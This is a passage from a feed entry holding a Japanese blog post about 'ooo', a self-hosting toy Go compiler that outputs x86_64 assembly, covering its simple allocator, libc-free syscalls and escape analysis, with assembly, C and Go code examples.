<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[自作 Go コンパイラでセルフホスト]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>26M &#x306E; <a href="https://trap.jp/author/ikura-hamu">@ikura-hamu</a> &#x3067;&#x3059;&#x3002;Go &#x306E;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092; Go &#x3067;&#x66F8;&#x3044;&#x3066;&#x3001;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;&#x304C;&#x52D5;&#x3044;&#x305F;&#x306E;&#x3067;&#x8A18;&#x4E8B;&#x3092;&#x66F8;&#x304D;&#x307E;&#x3059;&#x3002;<br>
&#x6B63;&#x78BA;&#x306B;&#x306F;&#x3001;&#x300C;Go &#x306E;&#xFF08;&#x30D7;</p>]]></description><link>https://trap.jp/post/2931/</link><guid isPermaLink="false">69f1efbfe2394c00016eb12c</guid><category><![CDATA[Go]]></category><category><![CDATA[コンパイラ]]></category><dc:creator><![CDATA[ikura-hamu]]></dc:creator><pubDate>Sat, 02 May 2026 01:00:19 GMT</pubDate><media:content url="https://trap.jp/content/images/2026/04/image.webp" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://trap.jp/content/images/2026/04/image.webp" alt="&#x81EA;&#x4F5C; Go &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3067;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;"><p>26M &#x306E; <a href="https://trap.jp/author/ikura-hamu">@ikura-hamu</a> &#x3067;&#x3059;&#x3002;Go &#x306E;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092; Go &#x3067;&#x66F8;&#x3044;&#x3066;&#x3001;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;&#x304C;&#x52D5;&#x3044;&#x305F;&#x306E;&#x3067;&#x8A18;&#x4E8B;&#x3092;&#x66F8;&#x304D;&#x307E;&#x3059;&#x3002;<br>
&#x6B63;&#x78BA;&#x306B;&#x306F;&#x3001;&#x300C;Go &#x306E;&#xFF08;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x306E;&#x4E00;&#x90E8;&#x3092;&#x51E6;&#x7406;&#x3067;&#x304D;&#x308B;&#xFF09;&#xFF08;&#x72ED;&#x7FA9;&#xFF09;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x300D;&#x3092;&#x66F8;&#x3044;&#x305F;&#x3053;&#x3068;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<p>&#x30EA;&#x30DD;&#x30B8;&#x30C8;&#x30EA;&#x306F;&#x3053;&#x3061;&#x3089;&#x3067;&#x3059;&#x3002;<br>
<a href="https://github.com/ikura-hamu/ooo?ref=trap.jp">https://github.com/ikura-hamu/ooo</a></p>
<!--kg-card-end: markdown--><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/ikura-hamu/ooo?ref=trap.jp"><div class="kg-bookmark-content"><div class="kg-bookmark-title">GitHub - ikura-hamu/ooo: Toy Go Compiler</div><div class="kg-bookmark-description">Toy Go Compiler. Contribute to ikura-hamu/ooo development by creating an account on GitHub.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="&#x81EA;&#x4F5C; Go &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3067;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">ikura-hamu</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/f8dd7c31a4654dea1a1c7487f8dbdba120d0adc24b195dace88ffa6345a205be/ikura-hamu/ooo" alt="&#x81EA;&#x4F5C; Go &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3067;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;"></div></a></figure><!--kg-card-begin: markdown--><h2 id="%E4%BD%9C%E3%81%A3%E3%81%9F%E3%82%B3%E3%83%B3%E3%83%91%E3%82%A4%E3%83%A9%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">&#x4F5C;&#x3063;&#x305F;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x306B;&#x3064;&#x3044;&#x3066;</h2>
<p>&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x306E;&#x540D;&#x524D;&#x306F;&#x300C; ooo &#x300D;&#xFF08;&#x5C0F;&#x6587;&#x5B57;&#x306E; o &#x304C;3&#x3064;&#xFF09;&#x3067;&#x3059;&#x3002;T<strong>o</strong>y G<strong>o</strong> C<strong>o</strong>mpiler &#x304B;&#x3089;&#x53D6;&#x3063;&#x305F;&#x3068;&#x3044;&#x3046;&#x3053;&#x3068;&#x306B;&#x306A;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;&#x304C;&#x3001;&#x305D;&#x308C;&#x306F;&#x5F8C;&#x4ED8;&#x3051;&#x3067;&#x3001;&#x79D1;&#x5B66;&#x5927;&#x306E;&#x30AD;&#x30E3;&#x30F3;&#x30D1;&#x30B9;&#x304C;&#x3042;&#x308B;&#x5927;&#x5CA1;&#x5C71;&#xFF08;&#x304A;&#x304A;&#x304A;&#x304B;&#x3084;&#x307E;&#xFF09;&#x304B;&#x3089;&#x53D6;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x306A;&#x306E;&#x3067;&#x8AAD;&#x307F;&#x65B9;&#x306F;&#x300C;&#x304A;&#x304A;&#x304A;&#x300D;&#x3067;&#x3059;&#x3002;</p>
<p>ooo &#x306F;&#x3001;Go &#x306E;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x3092;&#x5165;&#x529B;&#x306B;&#x53D6;&#x308A;&#x3001;x86_64 &#x306E;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x3092;&#x51FA;&#x529B;&#x3059;&#x308B;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x3067;&#x3059;&#x3002;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3068;&#x547C;&#x3070;&#x308C;&#x308B;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x306F;&#x3001;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x306E;&#x51FA;&#x529B;&#x306E;&#x307F;&#x3092;&#x884C;&#x3046;&#x72ED;&#x7FA9;&#x306E;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3068;&#x3001;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EB;&#x3001;&#x30EA;&#x30F3;&#x30AF;&#x306A;&#x3069;&#x3082;&#x884C;&#x3063;&#x3066;&#x5B9F;&#x884C;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x3092;&#x51FA;&#x529B;&#x3059;&#x308B;&#x5E83;&#x7FA9;&#x306E;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x304C;&#x3001;ooo &#x306F;&#x524D;&#x8005;&#x306B;&#x3042;&#x305F;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<p><img src="https://trap.jp/content/images/2026/04/highlight.png" alt="&#x81EA;&#x4F5C; Go &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3067;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;" loading="lazy"></p>
<p>ooo &#x306F;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;&#x3092;&#x884C;&#x3046;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x306E;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;&#x3068;&#x306F;&#x3001;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x81EA;&#x8EAB;&#x306E;&#x30BD;&#x30FC;&#x30B9;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30EB;&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;&#x3059;&#x3002;&#x3059;&#x306A;&#x308F;&#x3061;&#x3001;ooo &#x306E; Go &#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x3092; ooo &#x306B;&#x6E21;&#x3059;&#x3068;&#x3001;ooo &#x306E;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x304C;&#x5F97;&#x3089;&#x308C;&#x307E;&#x3059;&#x3002;</p>
<p><img src="https://trap.jp/content/images/2026/04/highlight-2.png" alt="&#x81EA;&#x4F5C; Go &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3067;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;" loading="lazy"><br>
<img src="https://trap.jp/content/images/2026/04/highlight2.png" alt="&#x81EA;&#x4F5C; Go &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3067;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;" loading="lazy"></p>
<p>&#x901A;&#x5E38;&#x306E; Go &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x306B;&#x3088;&#x3063;&#x3066;&#x3067;&#x304D;&#x305F; ooo &#x304C;&#x7B2C; 1 &#x4E16;&#x4EE3;(ooo1)&#x3001;ooo1 &#x306B;&#x3088;&#x3063;&#x3066;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30EB;&#x3055;&#x308C;&#x305F; ooo &#x304C;&#x7B2C; 2 &#x4E16;&#x4EE3;(ooo2)&#x3001;ooo2 &#x306B;&#x3088;&#x3063;&#x3066;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30EB;&#x3055;&#x308C;&#x305F; ooo &#x304C;&#x7B2C; 3 &#x4E16;&#x4EE3;(ooo3)&#x3067;&#x3059;&#x3002;ooo2 &#x304C; ooo &#x81EA;&#x8EAB;&#x3092;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30EB;&#x3067;&#x304D;&#x3001;&#x3055;&#x3089;&#x306B; ooo2 &#x3068; ooo3 &#x306E;&#x51FA;&#x529B;&#x304C;&#x4E00;&#x81F4;&#x3059;&#x308C;&#x3070;&#x3001;&#x5C11;&#x306A;&#x304F;&#x3068;&#x3082; ooo &#x81EA;&#x8EAB;&#x306B;&#x3064;&#x3044;&#x3066;&#x306F;&#x81EA;&#x5DF1;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30EB;&#x304C;&#x5B89;&#x5B9A;&#x3057;&#x3066;&#x3044;&#x308B;&#x3053;&#x3068;&#x3092;&#x78BA;&#x8A8D;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;&#x4ECA;&#x56DE;&#x306F;&#x3053;&#x308C;&#x3092;&#x76EE;&#x6A19;&#x3068;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<p>Go &#x306B;&#x306F;&#x69D8;&#x3005;&#x306A;&#x6A5F;&#x80FD;&#x304C;&#x4ED5;&#x69D8;&#x3067;&#x5B9A;&#x3081;&#x3089;&#x308C;&#x3066;&#x3044;&#x307E;&#x3059;&#x304C;&#x3001;&#x4ECA;&#x56DE;&#x306E;&#x76EE;&#x6A19;&#x306F;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;&#x3060;&#x3063;&#x305F;&#x305F;&#x3081;&#x3001;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;&#x306B;&#x5FC5;&#x8981;&#x306A;&#x307B;&#x307C;&#x6700;&#x4F4E;&#x9650;&#x6A5F;&#x80FD;&#x306E;&#x307F;&#x306B;&#x7D5E;&#x3063;&#x3066;&#x5B9F;&#x88C5;&#x3092;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x305F;&#x3068;&#x3048;&#x3070;&#x3001;goroutine &#x3084; switch &#x6587;&#x3001;map&#x3001;GC&#x3001;&#x30E1;&#x30BD;&#x30C3;&#x30C9;&#x3001;interface &#x306A;&#x3069;&#x306F;&#x5B9F;&#x88C5;&#x3057;&#x3066;&#x3044;&#x307E;&#x305B;&#x3093;&#x3002;&#x305D;&#x306E;&#x305F;&#x3081;&#x3001;&#x6A5F;&#x80FD;&#x3068;&#x3057;&#x3066;&#x306F;&#x307B;&#x3068;&#x3093;&#x3069; C &#x3068;&#x5909;&#x308F;&#x308A;&#x307E;&#x305B;&#x3093;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="%E4%B8%AD%E8%BA%AB%E3%81%AE%E6%8A%80%E8%A1%93%E7%9A%84%E3%81%AA%E8%A9%B1">&#x4E2D;&#x8EAB;&#x306E;&#x6280;&#x8853;&#x7684;&#x306A;&#x8A71;</h2>
<p>&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30EB;&#x3057;&#x305F;&#x3044; Go &#x306E;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x306E;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x540D;&#x3092;&#x534A;&#x89D2;&#x30B9;&#x30DA;&#x30FC;&#x30B9;&#x3067;&#x533A;&#x5207;&#x3063;&#x3066;&#x6A19;&#x6E96;&#x5165;&#x529B;&#x304B;&#x3089;&#x6E21;&#x3059;&#x3068;&#x3001;Intel &#x5F62;&#x5F0F;&#x306E; x86_64 &#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x3092;&#x6A19;&#x6E96;&#x51FA;&#x529B;&#x304B;&#x3089;&#x5410;&#x304D;&#x51FA;&#x3057;&#x307E;&#x3059;&#x3002;&#x666E;&#x901A;&#x306E;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x306F;&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x30E9;&#x30A4;&#x30F3;&#x5F15;&#x6570;&#x304B;&#x3089;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x540D;&#x306A;&#x3069;&#x3092;&#x6307;&#x5B9A;&#x3057;&#x307E;&#x3059;&#x304C;&#x3001;&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x30E9;&#x30A4;&#x30F3;&#x5F15;&#x6570;&#x3092;&#x53D6;&#x5F97;&#x3059;&#x308B;&#x90E8;&#x5206;&#x306E;&#x5B9F;&#x88C5;&#x3092;&#x7701;&#x7565;&#x3059;&#x308B;&#x305F;&#x3081;&#x306B;&#x6A19;&#x6E96;&#x5165;&#x529B;&#x304B;&#x3089;&#x53D6;&#x5F97;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</p>
<p>ooo &#x306F;&#x5927;&#x307E;&#x304B;&#x306B;&#x306F;&#x3001;Go &#x306E;&#x30BD;&#x30FC;&#x30B9;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x8AAD;&#x307F;&#x3001;&#x69CB;&#x6587;&#x89E3;&#x6790;&#x30FB;&#x578B;&#x306B;&#x95A2;&#x3059;&#x308B;&#x51E6;&#x7406;&#x30FB;&#x30A8;&#x30B9;&#x30B1;&#x30FC;&#x30D7;&#x89E3;&#x6790;&#x306A;&#x3069;&#x3092;&#x884C;&#x3044;&#x3001;&#x6700;&#x5F8C;&#x306B; x86_64 &#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x3092;&#x51FA;&#x529B;&#x3059;&#x308B;&#x3001;&#x3068;&#x3044;&#x3046;&#x6D41;&#x308C;&#x3067;&#x52D5;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<h3 id="%E3%83%A1%E3%83%A2%E3%83%AA%E7%AE%A1%E7%90%86">&#x30E1;&#x30E2;&#x30EA;&#x7BA1;&#x7406;</h3>
<p>Go &#x306B;&#x306F; Garbage Collection (GC) &#x306B;&#x3088;&#x308B;&#x52D5;&#x7684;&#x306A;&#x30D2;&#x30FC;&#x30D7;&#x306E;&#x30E1;&#x30E2;&#x30EA;&#x7BA1;&#x7406;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x304C;&#x3001;ooo &#x306B;&#x306F;&#x3042;&#x308A;&#x307E;&#x305B;&#x3093;&#x3002;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;&#x3092;&#x3059;&#x308B;&#x306E;&#x306B;&#x5FC5;&#x8981;&#x306A;&#x30E1;&#x30E2;&#x30EA;&#x306F;&#x305D;&#x308C;&#x307B;&#x3069;&#x591A;&#x304F;&#x306A;&#x304F;&#x3001;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x306F;&#x3059;&#x3050;&#x306B;&#x5B9F;&#x884C;&#x7D42;&#x4E86;&#x3059;&#x308B;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x3060;&#x304B;&#x3089;&#x3067;&#x3059;&#x3002;&#x305D;&#x306E;&#x305F;&#x3081;&#x3001;&#x4E00;&#x5EA6;&#x78BA;&#x4FDD;&#x3057;&#x305F;&#x9818;&#x57DF;&#x3092;&#x89E3;&#x653E;&#x3057;&#x306A;&#x3044;&#x5358;&#x7D14;&#x306A; allocator &#x3067;&#x3082;&#x3001;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;&#x306B;&#x306F;&#x5341;&#x5206;&#x3067;&#x3057;&#x305F;&#x3002;</p>
<p>&#x30D2;&#x30FC;&#x30D7;&#x306E;&#x30E1;&#x30E2;&#x30EA;&#x306F;&#x8D77;&#x52D5;&#x6642;&#x306B;&#x3042;&#x308B;&#x7A0B;&#x5EA6;&#x307E;&#x3068;&#x307E;&#x3063;&#x305F;&#x91CF;&#x3092; brk &#x30B7;&#x30B9;&#x30C6;&#x30E0;&#x30B3;&#x30FC;&#x30EB;&#x3067;&#x78BA;&#x4FDD;&#x3057;&#x3001;&#x5FC5;&#x8981;&#x306B;&#x306A;&#x3063;&#x305F;&#x3089;&#x305D;&#x3053;&#x304B;&#x3089;&#x53D6;&#x5F97;&#x3059;&#x308B;&#x3088;&#x3046;&#x306B;&#x306A;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x4E00;&#x65E6;&#x53D6;&#x5F97;&#x3057;&#x305F;&#x30E1;&#x30E2;&#x30EA;&#x306F;&#x89E3;&#x653E;&#x3057;&#x306A;&#x3044;&#x305F;&#x3081;&#x3001;&#x6700;&#x521D;&#x306B;&#x78BA;&#x4FDD;&#x3057;&#x305F;&#x30E1;&#x30E2;&#x30EA;&#x3092;&#x4F7F;&#x3044;&#x5207;&#x3063;&#x305F;&#x3089;&#x30E1;&#x30C3;&#x30BB;&#x30FC;&#x30B8;&#x3092;&#x51FA;&#x3057;&#x3066;&#x7D42;&#x4E86;&#x3059;&#x308B;&#x3088;&#x3046;&#x306B;&#x306A;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</p>
<h3 id="libc-%E9%9D%9E%E4%BE%9D%E5%AD%98">libc &#x975E;&#x4F9D;&#x5B58;</h3>
<p>ooo &#x306F; libc &#x306B;&#x4F9D;&#x5B58;&#x3057;&#x3066;&#x3044;&#x307E;&#x305B;&#x3093;&#x3002;&#x30E1;&#x30E2;&#x30EA;&#x7BA1;&#x7406;&#x3084; I/O &#x306F;&#x81EA;&#x5206;&#x3067;&#x30B7;&#x30B9;&#x30C6;&#x30E0;&#x30B3;&#x30FC;&#x30EB;&#x3092;&#x547C;&#x3076;&#x3053;&#x3068;&#x3067;&#x5B9F;&#x88C5;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x304B;&#x3089; <code>syscall</code> &#x547D;&#x4EE4;&#x3092;&#x4F7F;&#x3046;&#x3053;&#x3068;&#x3067;&#x30B7;&#x30B9;&#x30C6;&#x30E0;&#x30B3;&#x30FC;&#x30EB;&#x304C;&#x4F7F;&#x3048;&#x308B;&#x306E;&#x3067;&#x3001;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x3092;&#x6E29;&#x304B;&#x307F;&#x306E;&#x3042;&#x308B;&#x624B;&#x66F8;&#x304D;&#x3067;&#x66F8;&#x3044;&#x3066;&#x4F7F;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;<br>
&#x4F8B;&#x3048;&#x3070;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x30D1;&#x30B9;&#x3092;&#x6307;&#x5B9A;&#x3057;&#x3066;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x30C7;&#x30A3;&#x30B9;&#x30AF;&#x30EA;&#x30D7;&#x30BF;&#x3092;&#x53D6;&#x5F97;&#x3059;&#x308B; <code>open</code> &#x95A2;&#x6570;&#x306F;&#x3053;&#x306E;&#x3088;&#x3046;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-x86asm"># func open(path string, flags <span class="hljs-keyword">int</span>) <span class="hljs-keyword">int</span>
<span class="hljs-meta">
.global</span> _open
<span class="hljs-symbol">_open:</span>
# return values
# [<span class="hljs-built_in">rbp</span>+<span class="hljs-number">40</span>] for fd

  <span class="hljs-keyword">push</span> <span class="hljs-built_in">rbp</span>
  <span class="hljs-keyword">mov</span> <span class="hljs-built_in">rbp</span>, <span class="hljs-built_in">rsp</span>

  <span class="hljs-keyword">mov</span> <span class="hljs-built_in">rax</span>, <span class="hljs-number">2</span> # <span class="hljs-keyword">syscall</span> open
  <span class="hljs-keyword">mov</span> <span class="hljs-built_in">rdi</span>, [<span class="hljs-built_in">rbp</span>+<span class="hljs-number">16</span>] # file path
  <span class="hljs-keyword">mov</span> <span class="hljs-built_in">rsi</span>, [<span class="hljs-built_in">rbp</span>+<span class="hljs-number">32</span>] # flags

  <span class="hljs-keyword">syscall</span>

  <span class="hljs-keyword">mov</span> [<span class="hljs-built_in">rbp</span>+<span class="hljs-number">40</span>], <span class="hljs-built_in">rax</span> # file descriptor

  <span class="hljs-keyword">mov</span> <span class="hljs-built_in">rsp</span>, <span class="hljs-built_in">rbp</span>
  <span class="hljs-keyword">pop</span> <span class="hljs-built_in">rbp</span>
  <span class="hljs-keyword">ret</span>
</code></pre>
<p>libc &#x975E;&#x4F9D;&#x5B58;&#x306B;&#x3057;&#x305F;&#x7406;&#x7531;&#x306F;&#x3001;ooo &#x306E;&#x95A2;&#x6570;&#x547C;&#x3073;&#x51FA;&#x3057;&#x306E;&#x30EB;&#x30FC;&#x30EB;&#x3068;&#x3001;C / libc &#x5074;&#x306E;&#x95A2;&#x6570;&#x547C;&#x3073;&#x51FA;&#x3057;&#x306E;&#x30EB;&#x30FC;&#x30EB;&#x3092;&#x5408;&#x308F;&#x305B;&#x308B;&#x306E;&#x304C;&#x5927;&#x5909;&#x3060;&#x3068;&#x601D;&#x3063;&#x305F;&#x304B;&#x3089;&#x3067;&#x3059;&#x3002;ooo &#x3067;&#x306F;&#x5B9F;&#x88C5;&#x3092;&#x7C21;&#x5358;&#x306B;&#x3059;&#x308B;&#x305F;&#x3081;&#x306B;&#x3001;&#x901A;&#x5E38;&#x306E; C &#x306E;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3067;&#x306E;&#x95A2;&#x6570;&#x547C;&#x3073;&#x51FA;&#x3057;&#x6642;&#x306E;&#x30EB;&#x30FC;&#x30EB;&#x3092;&#x7834;&#x3063;&#x3066;&#x304A;&#x308A;&#x3001;&#x305F;&#x3068;&#x3048;&#x3070;&#x5F15;&#x6570;&#x306F;&#x30EC;&#x30B8;&#x30B9;&#x30BF;&#x3067;&#x306F;&#x306A;&#x304F;&#x5168;&#x3066;&#x30B9;&#x30BF;&#x30C3;&#x30AF;&#x9818;&#x57DF;&#x306B;&#x7A4D;&#x307E;&#x308C;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;ooo &#x306E;&#x95A2;&#x6570;&#x3068; libc &#x306E;&#x95A2;&#x6570;&#x306B;&#x3088;&#x3063;&#x3066;&#x30EB;&#x30FC;&#x30EB;&#x3092;&#x4F7F;&#x3044;&#x5206;&#x3051;&#x308B;&#x306E;&#x306F;&#x30B3;&#x30B9;&#x30C8;&#x304C;&#x9AD8;&#x3044;&#x3068;&#x8003;&#x3048;&#x3001;&#x81EA;&#x529B;&#x5B9F;&#x88C5;&#x3092;&#x884C;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;<br>
&#x5E78;&#x3044;&#x30B7;&#x30B9;&#x30C6;&#x30E0;&#x30B3;&#x30FC;&#x30EB;&#x306B;&#x95A2;&#x3059;&#x308B;&#x77E5;&#x8B58;&#x306F;&#x60C5;&#x5831;&#x5DE5;&#x5B66;&#x7CFB;&#x306E;&#x300C;&#x30B7;&#x30B9;&#x30C6;&#x30E0;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30DF;&#x30F3;&#x30B0;&#x300D;&#x3068;&#x3044;&#x3046;&#x79D1;&#x76EE;&#x3067;&#x5C11;&#x3057;&#x5B66;&#x3093;&#x3067;&#x3044;&#x305F;&#x306E;&#x3067;&#x3001;&#x6BD4;&#x8F03;&#x7684;&#x697D;&#x306B;&#x5B9F;&#x88C5;&#x3067;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<h3 id="%E3%82%A8%E3%82%B9%E3%82%B1%E3%83%BC%E3%83%97%E8%A7%A3%E6%9E%90">&#x30A8;&#x30B9;&#x30B1;&#x30FC;&#x30D7;&#x89E3;&#x6790;</h3>
<p>Go &#x306E;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3068;&#x3044;&#x3063;&#x3066;&#x3082; C &#x306E;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3068;&#x69CB;&#x6587;&#x304C;&#x9055;&#x3046;&#x3060;&#x3051;&#x3067;&#x3060;&#x3044;&#x305F;&#x3044;&#x540C;&#x3058;&#x3088;&#x3046;&#x306B;&#x3067;&#x304D;&#x308B;&#x3093;&#x3060;&#x308D;&#x3046;&#x3068;&#x601D;&#x3063;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x304C;&#x3001;1 &#x3064;&#x5927;&#x304D;&#x306A;&#x9055;&#x3044;&#x3068;&#x3057;&#x3066;&#x30A8;&#x30B9;&#x30B1;&#x30FC;&#x30D7;&#x89E3;&#x6790;&#x304C;&#x3042;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;<br>
&#x4EE5;&#x4E0B;&#x306E; C &#x3068; Go &#x306E;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x306F;&#x975E;&#x5E38;&#x306B;&#x4F3C;&#x3066;&#x3044;&#x307E;&#x3059;&#x304C;&#x3001;&#x7570;&#x306A;&#x308B;&#x7D50;&#x679C;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<h4 id="c">C</h4>
<pre class="blog-code"><code class="lang-c"><span class="hljs-type">int</span>* <span class="hljs-title function_">f1</span><span class="hljs-params">()</span> {
  <span class="hljs-type">int</span> a = <span class="hljs-number">1</span>;
  <span class="hljs-keyword">return</span> &amp;a;
}
<span class="hljs-type">void</span> <span class="hljs-title function_">f2</span><span class="hljs-params">()</span> {
  <span class="hljs-type">int</span> a = <span class="hljs-number">2</span>;
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;%d\n&quot;</span>, a);
}
<span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">()</span> {
  <span class="hljs-type">int</span>* a = f1();
  f2();
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;%d\n&quot;</span>, *a);
}
</code></pre>
<h4 id="go">Go</h4>
<pre class="blog-code"><code class="lang-go"><span class="hljs-keyword">package</span> main
<span class="hljs-keyword">import</span> <span class="hljs-string">&quot;fmt&quot;</span>
<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">f1</span><span class="hljs-params">()</span></span> *<span class="hljs-type">int</span> {
    <span class="hljs-keyword">var</span> a <span class="hljs-type">int</span> = <span class="hljs-number">1</span>
    <span class="hljs-keyword">return</span> &amp;a
}
<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">f2</span><span class="hljs-params">()</span></span> {
    <span class="hljs-keyword">var</span> a <span class="hljs-type">int</span> = <span class="hljs-number">2</span>
    fmt.Printf(<span class="hljs-string">&quot;%d\n&quot;</span>, a)
}
<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {
    <span class="hljs-keyword">var</span> a *<span class="hljs-type">int</span> = f1()
    f2()
    fmt.Printf(<span class="hljs-string">&quot;%d\n&quot;</span>, *a)
}
</code></pre>
